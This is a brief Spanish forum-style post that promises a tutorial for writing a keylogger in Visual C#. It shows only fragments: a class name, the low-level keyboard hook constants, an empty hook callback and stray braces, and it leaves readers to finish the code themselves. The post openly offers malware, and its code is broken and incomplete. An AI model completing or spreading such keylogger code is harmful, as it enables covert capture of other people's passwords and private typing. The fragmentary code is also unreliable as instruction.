Vamos a crear un hermoso keylogger en visual C#.
Sin usar ingeniería, sólo crearemos un simple código; el diseño gráfico lo pueden hacer ustedes como más les guste.

/*Que comienze el juego!!!*/
class KeyloggerParaPortalianos

/*Atributos (Recuerden que los nombre de las variables se pueden cambiar)*/
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;

}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)

}

}
Aquí ustedes tienen que jugar, investigar, perfeccionar y meter harta mano... saludos!!!
